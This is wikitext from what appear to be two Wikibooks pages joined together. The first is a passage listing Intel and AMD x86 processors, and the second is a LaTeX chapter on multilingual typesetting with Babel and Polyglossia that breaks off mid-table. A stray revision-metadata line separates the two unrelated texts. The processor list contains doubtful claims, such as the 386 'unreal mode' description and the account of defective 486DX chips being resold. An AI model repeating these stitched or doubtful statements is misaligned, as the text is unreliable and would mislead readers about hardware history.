;80386 (1985): The 386 was the fourth model in the family. It was the first Intel microprocessor with a 32-bit word. The 386DX model was the original 386 chip, and the 386SX model was an economy model that used the same instruction set, but which only had a 16-bit data bus. Both featured a 32-bits address bus, thus getting rid of the segmented addressing methods used in the previous models and enabling a "flat" memory model, where one register can hold an entire address, instead of relying on two 16-bit registers to create a 20-bit/24-bit address. The flat memory layout was only supported in protected mode. Also, contrary to the 286, it featured an "unreal mode" in which protected-mode software could switch to perform real-mode operations (although this backward compatibility was not complete, as the physical memory was still protected). The 386EX model is still used today in [[Embedded Systems|embedded systems]], ;80486 (1989):The 486 was the fifth model in the family. It had an integrated floating point unit for the first time in x86 history. Early model 80486 DX chips were found to have defective FPUs. They were physically modified to disconnect the FPU portion of the chip and sold as the 486SX (486-SX15, 486-SX20, and 486-SX25). A 487 "math coprocessor" was available to 486SX users and was essentially a 486DX with a working FPU and an extra pin added. The arrival of the 486DX-50 processor saw the widespread introduction of fan assisted heat-sinks being used to keep the processors from overheating. ;Pentium (1993): Intel called it the “Pentium” because they couldn't trademark the code number “80586”. The original Pentium was a faster chip than the 486 with a few other enhancements; later models also integrated the MMX instruction set. ;Pentium Pro (1995): The Pentium Pro was the sixth-generation architecture microprocessor, originally intended to replace the original Pentium in a full range of applications, but later reduced to a more narrow role as a server and high-end desktop chip. ;Pentium II (1997): The Pentium II was based on a modified version of the P6 core first used for the Pentium Pro, but with improved 16-bit performance and the addition of the MMX SIMD instruction set, which had already been introduced on the Pentium MMX. ;Pentium III (1999): Initial versions of the Pentium III were very similar to the earlier Pentium II, the most notable difference being the addition of SSE instructions. ;Pentium 4 (2000): The Pentium 4 had a new 7th generation "NetBurst" architecture. Pentium 4 chips also introduced the notions “Hyper-Threading”, and “Multi-Core” chips. <!-- ;Pentium M (2003): Due to the greater power consumption and heat emission of the 7th generation NetBurst architecture, it was unsuitable for mobiles. The Pentium M was the solution for mobiles; it was created by taking the 6th generation Pentium III and adding some enhancements such as SSE2 instruction support. -->;Core (2006): The architecture of the Core processors was actually an even more advanced version of the 6th generation architecture dating back to the 1995 Pentium Pro. The limitations of the NetBurst architecture, especially in mobile applications, were too great to justify creation of more NetBurst processors. The Core processors were designed to operate more efficiently with a lower clock speed. All Core branded processors had two processing cores; the Core Solos had one core disabled, while the Core Duos used both processors. ;Core 2 (2006): An upgraded, 64-bit version of the Core architecture. All desktop versions are multi-core. ;i Series (2008): The successor to Core 2 processors, with the i7 line featuring Hyper-Threading. ;Celeron (first model 1998): The Celeron chip is actually a large number of different chip designs, depending on price. Celeron chips are the economy line of chips, and are frequently cheaper than the Pentium chips—even if the Celeron model in question is based off a Pentium architecture. ;Xeon (first model 1998): The Xeon processors are modern Intel processors made for servers, which have a much larger cache (measured in MiB in comparison to other chips' KiB-sized cache) than the Pentium microprocessors. == AMD x86 Compatible Microprocessors == {{Wikipedia|List of AMD microprocessors}} ;Athlon : Athlon is the brand name applied to a series of different x86 processors designed and manufactured by AMD. The original Athlon, or Athlon Classic, was the first seventh-generation x86 processor and, in a first, retained the initial performance lead it had over Intel's competing processors for a significant period of time. ;Turion : Turion 64 is the brand name AMD applies to its 64-bit low-power (mobile) processors. Turion 64 processors (but not Turion 64 X2 processors) are compatible with AMD's Socket 754 and are equipped with 512 or 1024 KiB of L2 cache, a 64-bit single channel on-die memory controller, and an 800&nbsp;MHz HyperTransport bus. ;Duron : The AMD Duron was an x86-compatible computer processor manufactured by AMD. It was released as a low-cost alternative to AMD's own Athlon processor and the Pentium III and Celeron processor lines from rival Intel. ;Sempron : Sempron was AMD's entry-level desktop CPU, replacing the Duron processor and competing against Intel's Celeron D processor. ;Opteron : The AMD Opteron is first eighth-generation x86 processor (K8 core), and the first of AMD's AMD64 (x86-64) processors. It was intended to compete in the server market, particularly in the same segment as the Intel Xeon processor. ;Ryzen : The Ryzen line is a set of x86 processors that sold by AMD based on the Zen micro-architechture 29318qa179ubl50vudrdy216gfswzym 0 94367 4670693 4669916 2026-09-17T16:46:19Z ~2026-50253-26 3626186 4670693 wikitext text/x-wiki <noinclude>{{LaTeX/Top}} </noinclude> LaTeX requires some additional configuration to typeset documents in languages other than English. In addition, many scripts require LuaTeX, which is currently the recommended engine in newly created documents<ref>[https://www.texdev.net/2024/11/05/engine-news-from-the-latex-project Engine news from the LaTeX Project]</ref>, or XeTeX. There are currently two packages providing international language support, namely, Babel and Polyglossia: * Babel<ref name="babelSite">[https://latex3.github.io/babel/ Babel: The multilingual framework to localize LaTeX, LuaLaTeX, XeLaTeX]</ref> works with the three main engines, namely, pdfTeX, LuaTeX and XeTeX. It’s part of the LaTeX core, and the recommended package by ''The LaTeX Companion'' (3rd ed., 2023), even for non-Latin and RTL scripts, which are fully supported. Depending on the engine the number of supported languages (with various levels of coverage) goes from about 170 to 300, covering about 45 scripts, and new ones can be declared easily from scratch. It also provides partial support for Plain TeX. * Polyglossia was devised as an alternative to Babel for the now discouraged XeTeX (although provides partial support for LuaTeX, but not for pdfTeX). It supports about 90 languages, covering about 30 scripts. Both packages cover the major languages around the World (French, Spanish, Arabic, Chinese, Japanese, Thai, Hindi, Marathi, etc.) and handle the following tasks: ; Fonts : Assigning a font to each non-Latin language. Traditional LaTeX requires setting an appropriate font encoding. In Unicode engines, both Babel and Polyglossia rely on the advanced OpenType font features provided by the 'fontspec' package. While Babel offers a high-level interface to automatically handle fonts for different scripts, and set the language and the script, Polyglossia depends on standard calls to 'fontspec' and the latter must be set manually. With Babel + LuaTeX the font can be switched automatically based on script. See also the discussion of {{LaTeX/Package|fontspec}} in the [[LaTeX/Fonts#Using_TTF_and_OTF_fonts|Fonts]] chapter. ; Linebreaking, justification and hyphenation : Activating for each script and language the corresponding line breaking algorithm. In the case of hyphenated languages, loading the language-specific hyphenation patterns. Babel and Polyglossia provide basic line breaking for CJK scripts. Babel provides non-standard hyphenation, like “ff” → “ff-f”, repeated hyphens, and ranked rules, and there is also some tentative support for Arabic and Tibetan justificacion. ; Cultural elements : Translating document labels (like “chapter”, “figure”, “bibliography”), as well as formatting dates according to language-specific conventions and formatting numbers for languages that have their own numbering system. Polyglossia can generate the current date in the Hebrew, Islamic (Civil) and Persian calendars; Babel supports in addition Islamic Umm al-Qura, Coptic, Ethiopic, Chinese, Indian, and Buddhist. ; Bidirectional typesetting : Supporting documents that contain right to left scripts. Babel + LuaTeX uses an algorithm based on the Unicode one, which changes the direction automatically. Layout elements such as tables, margins and so on must be reversed too, and this is done by Babel with LuaTeX to a great extent. With XeTeX, both Babel and Polyglossia rely on the {{LaTeX/Package|bidi}} package, which requires explicit markup to change the direction. ; Typographical rules and transliterations : Performing miscellaneous transformation both at the character level (like transliterations) as well as at the typographical level (like inserting spaces or penalties at appropriate places). Babel with LuaTeX can do this automatically by means of “transforms”; with XeTeX this can be done to some extent (both Babel and Polyglossia), while in 8-bit engines many of them must be done by hand. With [http://mirrors.ctan.org/macros/latex/required/babel/base/babel.pdf Babel], LaTeX ≥ 2018-04-01, and a monolingual document in UTF-8 encoding (which is the recommended encoding), all you need in many European languages is something like, for example: {{LaTeX/Usage|code= \documentclass[french]{article} \usepackage[T1]{fontenc} % <- With XeTeX or LuaTeX, delete this line \usepackage{babel} \begin{document} Plus ça change, plus c'est la même chose! \end{document} }} In addition, there are some specialized frameworks for languages like Japanese, Korean or Chinese, described below. == Encodings == === Unicode engines === When using the <code>xelatex</code> or <code>lualatex</code> engines, many of the problems described below are solved for you. Input files are assumed to be [[w:UTF-8|UTF-8]] (XeLaTeX also accepts [[w:UTF-16|UTF-16]] and [[w:UTF-32|UTF-32]]), and the engine automatically maps Unicode characters to their glyphs in the [[w:TrueType|TrueType]] or [[w:OpenType|OpenType]] fonts you selected for your document. (This is, of course, assuming those fonts contain the glyphs you need, so you must ensure that your fonts support the languages you are using.) Fonts are configured using the <code>fontspec</code> package, which is detailed in the [[LaTeX/Fonts#Using_alternative_fonts|Fonts]] section. When using it, you may need to explicitly set the language system via the <code>Language</code> and <code>Script</code> options. However, the Babel package offers a high-level interface that, among other things, handles the language system setup for you. Here is an example demonstrating the setup for Hindi: {{LaTeX/Usage|code= \documentclass[hindi]{article} \usepackage{babel} \babelfont{rm}{Shobhika} \begin{document} जिस की लाठी उस की भैंस. \end{document} }} For a multilingual example, see [[#Font management|Font management]]. === 8-bit engines === With engines not supporting Unicode internally (<code>latex</code> or <code>pdflatex</code>), LaTeX must handle two fundamental problems: # Mapping the bytes of your input file into the characters of the language(s) you want to use. # Mapping those characters to their glyphs in the fonts your document uses. With them, you must tell LaTeX which encoding to use for your input files, and what "output" encoding it should use to map characters to their glyphs in the fonts. In most cases (especially for multilingual documents), UTF-8 is an optimal input encoding, which is currently the default encoding. For most Latin languages, <code>T1</code> is the desired output encoding, and can be set with: {{LaTeX/Usage|code= \usepackage[T1]{fontenc} }} Other output encodings for specific languages are shown below. For additional information, see the discussion of encoding in the [[LaTeX/Fonts#Font encoding|Fonts]] chapter, as well as the [[LaTeX/Special Characters|Special Characters]] chapter. == Babel == The core package {{LaTeX/Package|babel}} supports the 3 main engines (PDFLaTeX, LuaLaTeX and XeLaTeX). There are two ways to specify the document languages. One of them is as arguments to the package when it is loaded: {{LaTeX/Usage|code= \usepackage[language]{babel} }} Another approach is making the language a global option in order to let other packages detect and use it: {{LaTeX/Usage|code= \documentclass[language]{article} \usepackage{babel} }} Finally, {{LaTeX/Package|babel}} provides total or partial support for about 300 languages with a set of ini files, which are accessed with {{LaTeX/LaTeX|code=\babelprovide}}. This command can be used to define easily your own language from scratch, too. Names are normalized to those in the Unicode CLDR. Babel will automatically activate the appropriate hyphenation rules for the language you choose. If your LaTeX format does not support hyphenation in the language of your choice, babel will still work but will disable hyphenation, which has quite a negative effect on the appearance of the typeset document (with LuaLaTeX, however, hyphenation rules can be loaded when the document is being typeset). Babel also specifies new commands for some languages, which simplify the input of special characters. See the sections about languages below for more information. If you call babel with multiple languages: {{LaTeX/Usage|code= \usepackage[languageA,languageB]{babel} }} Short texts in a secondary language does not require an explicit declaration in the preamble, because {{LaTeX/Package|babel}} supports lazy loading of languages. Just select it as explained in what follows and the basic declarations will be loaded on the fly. The last language in the option list will be active (i.e. languageB), and you can use the command {{LaTeX/Usage|code= \selectlanguage{languageA} }} to change the active language (when the document begins, with {{LaTeX/LaTeX|code=\begin{document}<!---->}}, the main language is automatically selected). You can also add short pieces of text in another language using the command {{LaTeX/Usage|code= \foreignlanguage{languageB}{Text in another language} }} Babel also offers various environments for entering larger pieces of text in another language: {{LaTeX/Usage|code= \begin{otherlanguage}{languageB} Text in language B. This environment switches all language-related definitions, like the language specific names for figures, tables etc. to the other language. \end{otherlanguage} }} The starred version of this environment typesets the main text according to the rules of the other language, but keeps the language specific string for ancillary things like figures in the main language of the document. The [http://mirrors.ctan.org/macros/latex/required/babel/base/babel.pdf babel manual] provides much more information on these and many other options. === Font management === If you are using XeTeX or LuaTeX, Babel supports OpenType fonts with {{LaTeX/Package|fontspec}}. To ease font handling, it provides the macro <code>\babelfont</code>, which switches the font across languages and sets the OpenType ‘language system’ (ie, language and script). Let us assume you are setting up a document in Swedish, with some words in Hebrew, with a font suited for both languages: {{LaTeX/Usage|code= \babelfont{rm}{FreeSerif} }} If, on the other hand, you have to resort to different fonts, you would say: {{LaTeX/Usage|code= \babelfont{rm}{Iwona} \babelfont[hebrew]{rm}{FreeSerif} }} Also, with version >=3.38 the locale identifiers (<code>\language</code> and <code>\localeid</code>) and the fonts can be switched without explicit markup, depending on the script (only LuaTeX). In the following example, <code>bidi=basic</code> switches the direction, and <code>onchar=ids fonts</code> switches the identifiers and the font: {{LaTeX/Usage|code= \documentclass{article} \usepackage[swedish, bidi=basic]{babel} \babelprovide[import, onchar=ids fonts]{hebrew} \babelfont{rm}{Iwona} \babelfont[hebrew]{rm}{FreeSerif} \begin{document} Svenska עִבְרִית svenska. \end{document} }} === Bidirectional texts === Babel provides basic support for bidirectional texts. The package option may take three values, namely, <code>default</code>, <code>basic-r</code>, and <code>basic</code>. With <code>bidi=basic</code> RTL and LTR text can be mixed without explicit markup (only LuaTeX). === Customization === <code>Babel</code> provides tools to customize the behavior of languages. The most common requirement is modifying the default captions like the chapter name, because the strings defined for each language not always fit some editorial or personal preferences. The command <code>\setlocalecaption</code> is provided for this purpose. For example: {{LaTeX/Usage|code= \setlocalecaption{spanish}{contents}{Contenidos} }} Formerly, the only way to customize the captions was with something like <code>\addto\captionsspanish{\renewcommand{\contentsname}{Contenidos}}</code>. According to the <code>babel</code> manual, this low level interface is not recommended. === Multilingual versions === It is possible in LaTeX to typeset the content of one document in several languages and to choose upon compilation which language to output in predefined strings (chapter name, date, etc.). Using the commands above in multilingual documents can be cumbersome, and therefore {{LaTeX/Package|babel}} provides a way to define shorter names. With {{LaTeX/Usage|code= \babeltags{de = german} }} You can write: {{LaTeX/Usage|code= text \textde{German text} text text \begin{de} German text \end{de} text}} There is a clear drawback to this feature, namely, the ‘prefix’ <code>\text...</code> is heavily overloaded in LaTeX and conflicts with existing macros may arise. The {{LaTeX/Package|babel}} manual recommends to to stick to the default selectors or to define your own alternatives. The current language can also be tested by using the {{LaTeX/Package|iflang}} package by Heiko Oberdiek (the built-in feature from the babel package is not reliable). Here comes a simple example: \IfLanguageName{ngerman}{Hallo}{Hello} This allows to easily distinguish between two languages without the need of defining own commands. Another approach for localized strings is {{LaTeX/Package|translator}}. == Polyglossia == Besides the core {{LaTeX/Package|babel}} package, {{LaTeX/Package|polyglossia}} can be used as an alternative with XeLaTeX and LualaTeX, as described in [http://mirrors.ctan.org/macros/unicodetex/latex/polyglossia/polyglossia.pdf its manual]. The original aim was to be compatible with {{LaTeX/Package|babel}}, but there is a number of differences. For example, the standard mechanism in LaTeX to declare languages, via package or class options, is not recognized, and the user must rely on a set of new commands, as shown in the example. Unlike {{LaTeX/Package|babel}}, secondary languages must be always explicitly declared, because {{LaTeX/Package|polyglossia}} doesn't support lazy loading. It also adds the concept of ‘language variant’, while in {{LaTeX/Package|babel}}, all locales are treated on an equal footing. Not only languages are declared in a non standard way, but also a new way to switch languages has been devised, with commands like <code>\textenglish</code> or <code>\textlang</code>. Font are set with standard `fontspec` commands and no higher level interface is provided. To use {{LaTeX/Package|polyglossia}}, load it in your preamble and specify the languages you will be using, along with any language-specific options you wish. If, for example, we have a document with American English as the main language, and some short texts in French, Bulgarian and Greek, you might use: {{LaTeX/Usage|code= \documentclass{article} \usepackage{polyglossia} \setdefaultlanguage[variant=american]{english} \setotherlanguages{french, bulgarian, greek} \newfontfamily\bulgarianfont {NewComputerModern10}[Script=Cyrillic,Language=Bulgarian] \newfontfamily\greekfont {NewComputerModern10}[Script=Greek,Language=Greek] \begin{document} English. \textlang{french}{French}. \textlang{bulgarian}{Български}. \textlang{greek}{Ελληνικά}. \end{document} }} As a comparison, here is the code with `babel`: {{LaTeX/Usage|code= \documentclass{article} \usepackage[american]{babel} \babelfont[*cyrillic, *greek]{rm}{NewComputerModern10} \begin{document} English. \foreignlanguage{french}{French}. \foreignlanguage{bulgarian}{Български}. \foreignlanguage{greek}{Ελληνικά}. \end{document} }} == Specific languages == <!-- please keep the list in alphabetical order--> Here is a collection of language-specific suggestions. If you have experience in a language not listed below, please add some notes about it. Some of the methods described in this chapter may be useful when dealing with non-English author names in bibliographies. {{Info|Most of the following assumes you are using {{LaTeX/Package|babel}}, but {{LaTeX/Package|polyglossia}} supports some of the same commands, although their behavior may be different.}} ===Arabic script=== Documents in the Arabic script, including Arabic, Persian, Urdu, Pashto, Kurdish, Uyghur, etc., are best typeset with either XeTeX or LuaTeX. An example with {{LaTeX/Package|babel}} and LuaTeX follows (rendering by the browser may be different from an editor): {{LaTeX/Usage|code= \documentclass{article} \usepackage[bidi=basic]{babel} \babelprovide[import, main]{arabic} \babelfont{rm}{FreeSerif} \begin{document} وﻗﺪ ﻋﺮﻓﺖ ﺷﺒﻪ ﺟﺰﻳﺮة اﻟﻌﺮب ﻃﻴﻠﺔ اﻟﻌﺼﺮ اﻟﻬﻴﻠﻴﻨﻲ )اﻻﻏﺮﻳﻘﻲ( ﺑـ Arabia أو Aravia )ﺑﺎﻻﻏﺮﻳﻘﻴﺔ Αραβία (، اﺳﺘﺨﺪم اﻟﺮوﻣﺎن ﺛﻼث ﺑﺎدﺋﺎت ﺑـ “Arabia” ﻋﻠﻰ ﺛﻼث ﻣﻨﺎﻃﻖ ﻣﻦ ﺷﺒﻪ اﻟﺠﺰﻳﺮة اﻟﻌﺮﺑﻴﺔ، إﻻ أﻧﻬﺎ ﺣﻘﻴﻘﺔً ﻛﺎﻧﺖ أﻛﺒﺮ ﻣﻤﺎ ﺗﻌﺮف ﻋﻠﻴﻪ اﻟﻴﻮم. \end{document} }} With XeTeX, you may set <code>bidi=bidi</code>, but mixed LR and RL text must be marked up explicitly. The same applies to {{LaTeX/Package|polyglossia}}. {{LaTeX/Package|babel}} with LuaTeX provides partial and tentative support for Arabic justification based on kashida (with the ARABIC TATWEEL Unicode character) or on the ‘justification alternatives’ OpenType table (<code>jalt</code>). An alternative package for LuaTeX is {{LaTeX/Package|arabluatex}}, which is an extension for LuaTeX of {{LaTeX/Package|arabtex}}, described below. For XeTeX there is {{LaTeX/Package|arabxetex}}. In 8-bit engines, they can be typeset in a number of ways, one of the oldest being {{LaTeX/Package|arabtex}}. Add the following code to your preamble: {{LaTeX/Usage|code= \usepackage{arabtex} }} You can input text in either romanized characters or native Arabic script encodings. Use any of the following commands and environments to enter in text: {{LaTeX/Usage|code= \< ... > \RL{ ... } \begin{arabtext} ... \end{arabtext}. }} See the [[w:ArabTeX|ArabTeX]] Wikipedia article for further details. You may also use the {{LaTeX/Package|Arabi}} package within Babel to typeset Arabic and Persian {{LaTeX/Usage|code= \usepackage{cmap} \usepackage[LAE,LFE]{fontenc} \usepackage[arabic,farsi]{babel} }} You may also copy and paste from PDF files produced with Arabi thanks to the support of the {{LaTeX/Package|cmap}} package. You may use Arabi with LyX, or with tex4ht to produce HTML. See [http://www.ctan.org/tex-archive/language/arabic/arabi/ Arabi page on CTAN] ===Armenian=== The Armenian script uses its own characters, which will require you to install a text editor that supports [[w:Unicode|Unicode]] and will allow you to enter UTF-8 text, such as [http://www.xm1math.net/texmaker/ Texmaker] or [http://www.winedt.com/ WinEdt]. These text editors should then be configured to compile using XeLaTeX or LuaLaTeX. Once the text editor is set up to compile with XeLaTeX or LuaLaTeX, the {{LaTeX/Package|fontspec}} package can be used to write in Armenian: {{LaTeX/Usage|code= \usepackage{fontspec} \setmainfont{DejaVu Serif} }} or {{LaTeX/Usage|code= \usepackage{fontspec} \setmainfont{Sylfaen} }} The Sylfaen font lacks italic and bold, but DejaVu Serif supports them. See [[:hy:ԼաՏեԽ/Բարև աշխարհ|Armenian Wikibooks]] for further details, especially on how to configure the Unicode supporting text editors to compile with Unicode engines. ===Cyrillic script=== Currently the most convenient way to typeset Cyrillic texts is with XeTeX or LuaTeX in the UTF-8 encoding. An example for Russian with these engines, which do not require encoding transformations because everything is done directly in that encoding, is: {{LaTeX/Usage|code= \documentclass{article} \usepackage[russian]{babel} \babelfont{rm}{DejaVu Serif} \begin{document} Россия, находящаяся на пересечении множества культур, а также с учётом многонационального характера её населения, — отличается высокой степенью этнокультурного многообразия и способностью к межкультурному диалогу. \end{document} }} Support for Cyrillic in non-Unicode engines is based on standard LaTeX mechanisms plus the {{LaTeX/Package|fontenc}} and {{LaTeX/Package|inputenc}} packages. {{LaTeX/Package|babel}} includes support for the <code>T2*</code> encodings and for typesetting Bulgarian, Russian and Ukrainian texts using Cyrillic letters<ref name="notSoShortIntro">[http://www.ctan.org/tex-archive/info/lshort/english/lshort.pdf The Not So Short Introduction to LaTeX], 2.5.6 Support for Cyrillic, Maksym Polyakov</ref> with non-Unicode engines. AMS-LaTeX packages should be loaded before {{LaTeX/Package|fontenc}} and {{LaTeX/Package|babel}}^(Why?). If you are going to use Cyrillics in mathmode, you also need to load {{LaTeX/Package|mathtext}} package before {{LaTeX/Package|fontenc}}: {{LaTeX/Usage|code= \usepackage{amsmath,amsthm,amssymb} \usepackage{mathtext} \usepackage[T1,T2A]{fontenc} \usepackage[english,bulgarian,russian,ukrainian]{babel} }} Generally, {{LaTeX/Package|babel}} will automatically choose the default font encoding, for the above three languages this is <code>T2A.</code> However, documents are not restricted to a single font encoding. For multilingual documents using Cyrillic and Latin-based languages it makes sense to include Latin font encoding explicitly. Babel will take care of switching to the appropriate font encoding when a different language is selected within the document. On modern operating systems it is beneficial to use Unicode ({{LaTeX/Parameter|utf8}} or {{LaTeX/Parameter|utf8x}}) instead of KOI8-RU ({{LaTeX/Parameter|koi8-ru}}) as an input encoding for Cyrillic text. In addition to enabling hyphenations, translating automatically generated text strings, and activating some language specific typographic rules (like {{LaTeX/LaTeX|code=\frenchspacing<!---->}}), {{LaTeX/Package|babel}} provides some commands allowing typesetting according to the standards of Bulgarian, Russian, or Ukrainian languages. For all three languages, language specific punctuation is provided: the Cyrillic dash for the text (it is little narrower than Latin dash and surrounded by tiny spaces), a dash for direct speech, quotes, and commands to facilitate hyphenation: {| class="wikitable" |- ! Key combination !! Action |- || {{LaTeX/LaTeX|code="{{!}}<!---->}} || No ligature at this position. |- || {{LaTeX/LaTeX|code="-<!---->}} || Explicit hyphen sign, allowing hyphenation in the rest of the word. |- || {{LaTeX/LaTeX|code="---<!---->}} || Cyrillic emdash in plain text. |- || {{LaTeX/LaTeX|code="--~<!---->}} || Cyrillic emdash in compound names (surnames). |- || {{LaTeX/LaTeX|code="--*<!---->}} || Cyrillic emdash for denoting direct speech. |- || {{LaTeX/LaTeX|code=""<!---->}} || Similar to {{LaTeX/LaTeX|code="-<!---->}}, but it produces no hyphen sign (used for compound words with hyphen, e.g. {{LaTeX/LaTeX|code=x-""y<!---->}} or some other signs as “disable/enable”). |- || {{LaTeX/LaTeX|code="~<!---->}} || Compound word mark without a breakpoint. |- || {{LaTeX/LaTeX|code="=<!---->}} || Compound word mark with a breakpoint, allowing hyphenation in the composing words. |- || {{LaTeX/LaTeX|code=",<!---->}} || Thinspace for initials with a breakpoint in a following surname. |- || {{LaTeX/LaTeX|code="‘<!---->}} || German opening double quote (,,). |- || {{LaTeX/LaTeX|code="’<!---->}} || German closing double quote (“). |- || {{LaTeX/LaTeX|code="<<!---->}} || French opening double quote (<<). |- || {{LaTeX/LaTeX|code="><!---->}} || French closing double quote (>>). |- |} The Russian and Ukrainian options of {{LaTeX/Package|babel}} define the commands {{LaTeX/Usage|code= \Asbuk \asbuk }} which act like {{LaTeX/LaTeX|code=\Alph<!---->}} and {{LaTeX/LaTeX|code=\alph<!---->}} (commands for turning counters into letters, ''e.g.'' {{LaTeX/LaTeX|code=a, b, c...<!---->}}), but produce capital and small letters of Russian or Ukrainian alphabets (whichever is the active language of the document). The Bulgarian option of {{LaTeX/Package|babel}} provides the commands {{LaTeX/Usage|code= \enumBul \enumLat \enumEng }} which make {{LaTeX/LaTeX|code=\Alph<!---->}} and {{LaTeX/LaTeX|code=\alph<!---->}} produce letters of either Bulgarian or Latin (English) alphabets. The default behaviour of {{LaTeX/LaTeX|code=\Alph<!---->}} and {{LaTeX/LaTeX|code=\alph<!---->}} for the Bulgarian language option is to produce letters from the Bulgarian alphabet. See the Bulgarian translation of "The Not So Short Introduction to LaTeX" <ref name="notSoShortIntroBg">[http://www.ctan.org/tex-archive/info/lshort/bulgarian/lshort-bg.pdf The Not So Short Introduction to LaTeX], Bulgarian translation</ref> for a method to type Cyrillic letters directly from the keyboard using a different distribution. === Chinese === Typesetting Chinese texts (and, in general, CJK script ones) is best done with a complete framework, like {{LaTeX/Package|CJK}} o {{LaTeX/Package|xeCJK}}, although for short texts or a few words in horizontal typesetting {{LaTeX/Package|babel}} with XeTeX and LuaTeX could be enough, with basic line breaking. ====CJK Package==== One possible Chinese support is made available thanks to the {{LaTeX/Package|CJK}} package collection. If you are using a package manager or a portage tree, the CJK collection is usually in a separate package because of its size (mainly due to fonts). Make sure your document is saved using the UTF-8 character encoding. See [[LaTeX/Special Characters|Special Characters]] for more details. Put the parts where you want to write chinese characters in a {{LaTeX/Environment|CJK}} environment. {{LaTeX/Usage|code= \documentclass{article} \usepackage{CJK} \begin{document} \begin{CJK}{UTF8}{gbsn} 你好 You can mix Latin letters and Chinese. \end{CJK} \end{document} }} The last argument specifies the font. It must fit the desired language, since fonts are different for Chinese, Japanese and Korean. Possible choices for Chinese include: * gbsn (简体宋体, simplified Chinese) * gkai (简体楷体, simplified Chinese) * bsmi (繁體細上海宋體, traditional Chinese) * bkai (繁體標楷體, traditional Chinese) In CTeX distribution (which has been outdated), six more fonts for simplified Chinese are included, corresponding to default Windows fonts: * song (宋体, Simsun) * hei (黑体, Simhei) * fang (仿宋, STFangSong) * kai (楷体, STKaiti) * li (隶书, SimLi) * you (幼圆, SimYou) ====xeCJK Package==== When using the XeTeX engine, there is another package called '''xeCJK''', which is based on ''fontspec'' and offers similar interface to ''CJK'' package. When using the package, one can define CJK fonts like this: {{LaTeX/Usage|code= \documentclass{article} \usepackage{xeCJK} \setCJKmainfont{FZSSK.ttf} % use Foundertype's Chinese font, which has a free license \begin{document} 你好 You can still mix Latin letters and Chinese! \end{document} }} === Czech === Czech is fine using {{LaTeX/Usage|code= \usepackage[czech]{babel} }} UTF-8 allows you to have „czech quotation marks“ directly in your text. Otherwise, there are macros ''\clqq'' and ''\crqq'' to produce left and right quote. You can place quotated text inside {{LaTeX/LaTeX|code=\uv<!---->}}. ==== Copying and searching in PDF ==== Although czech letters with diacritical sign are displayed correctly, they are not copy-able or search-able in PDF files generated with pdfLaTeX with just command above. Using package '''cmap''' solves this for some fonts, for others is also neccessary to use command '''glyphtounicode'''. {| class="wikitable" |+ Combinations of commands with different fonts |- ! scope="col" | Font ! scope="col" | (no additional command) ! scope="col" | <syntaxhighlight lang="latex">\usepackage{cmap}</syntaxhighlight> ! scope="col" | <syntaxhighlight lang="latex">\usepackage[resetfonts]{cmap}</syntaxhighlight> ! scope="col" | <syntaxhighlight lang="latex">\usepackage{cmap} \input{glyphtounicode} \pdfgentounicode=1</syntaxhighlight> |- ! scope="row" | <syntaxhighlight lang="latex">\usepackage{lmodern}</syntaxhighlight> | {{color|red|ešcržýáíédtnúuŠCRŽÁÚ}} | {{color|green|ěščřžýáíéďťňúůŠČŘŽÁÚ}} | {{color|green|ěščřžýáíéďťňúůŠČŘŽÁÚ}} | {{color|green|ěščřžýáíéďťňúůŠČŘŽÁÚ}} |- ! scope="row" | <syntaxhighlight lang="latex">\usepackage{ebgaramond}</syntaxhighlight> | {{color|red|ešcržýáíédtnúuŠCRŽÁÚ}} | {{color|red|ešcržýáíédtnúuŠCRŽÁÚ}} | {{color|red|ešcržýáíédtnúuŠCRŽÁÚ}} | {{color|green|ěščřžýáíéďťňúůŠČŘŽÁÚ}} |} === Devanagari and other Indic scripts === The Devanagari script is used by many languages, including Marathi, Pāḷi, Sanskrit, Hindi, Nepali, Bodo, Konkani, Prakrit. Here is an example for Hindi with {{LaTeX/Package|babel}}, for both XeTeX and LuaTeX: {{LaTeX/Usage|code= \documentclass{article} \usepackage[hindi, provide=*]{babel} \babelfont{rm}{FreeSerif} \begin{document} देवनागरी एक भारतीय लिपि है जिसमें अनेक भारतीय भाषाएँ तथा कई विदेशी भाषाएँ लिखी जाती हैं। \end{document} }} Other Indic scripts have a similar setup (Malayalam, Bengali, Sinhala, Telugu, Tamil, Kannada, Assamese, Punjabi, etc.). If any additional features are required, you need an alternative approach, as illustrated in the following example for Bangla, which sets the option <code>mapdigits</code> for the Arabic digits to be converted to the local ones (only LuaTeX). {{LaTeX/Usage|code= \documentclass{article} \usepackage{babel} \babelprovide[import, main, mapdigits]{bengali} \babelfont{rm}{FreeSerif} \begin{document} গাইতে গাইতে গায়েন। \end{document} }} Mapping the digits is accomplished in XeTeX at the font level, with the option <code>Mapping=</code>, like: {{LaTeX/Usage|code= \babelfont{rm}[Mapping=bengalidigits]{FreeSerif} }} This is actually a XeTeX feature and doesn't require {{LaTeX/Package|babel}}. It can be used directly with {{LaTeX/Package|fontspec}}. Support in pdfTeX is based mainly on the {{LaTeX/Package|velthuis}} package. An alternative for XeTeX is {{LaTeX/Package|latexbangla}}, which relies on {{LaTeX/Package|polyglossia}}. === Finnish === Finnish language hyphenation is enabled with: {{LaTeX/Usage|code= \usepackage[finnish]{babel} }} This will also automatically change document language (section names, etc.) to Finnish. === French === As of version 3.0 of {{LaTeX/Package|babel-french}}, it is advised to choose the language as a global option with the following command<ref name="babel-frenchDocumentation">[http://mirrors.ctan.org/macros/latex/contrib/babel-contrib/french/frenchb.pdf {{LaTeX/Package|babel-french}} documentation]: "the French language should now be loaded as french, not as frenchb or francais and preferably as a global option of {{LaTeX/LaTeX|code=\documentclass<!---->}}. Some tolerance still exists in v3.0, but do not rely on it."</ref>: {{LaTeX/Usage|code= \documentclass[french]{article} \usepackage{babel} }} Formerly, you could load French language support with the following command: {{LaTeX/Usage|code= \usepackage[frenchb]{babel} }} or {{LaTeX/Usage|code= \usepackage[francais]{babel} }} There are multiple options for typesetting French documents, depending on the flavor of French: {{LaTeX/Parameter|french}} for Parisian French, and {{LaTeX/Parameter|acadian}} and {{LaTeX/Parameter|canadien}} for new-world French. If you do not know or do not really care, we would recommend using {{LaTeX/LaTeX|code=french<!---->}}. All enable French hyphenation, if you have configured your LaTeX system accordingly. All of these also change all automatic text into French: {{LaTeX/LaTeX|code=\chapter<!---->}} prints ''Chapitre'', {{LaTeX/LaTeX|code=\today<!---->}} prints the current date in French and so on. A set of new commands also becomes available, which allows you to write French input files more easily. Check out the following table for inspiration: {| class="wikitable" !input code !rendered output |- |<code>\og guillemets \fg{}</code> |« guillemets » |- |<code>M\up{me}, D\up{r}</code> |M^me, 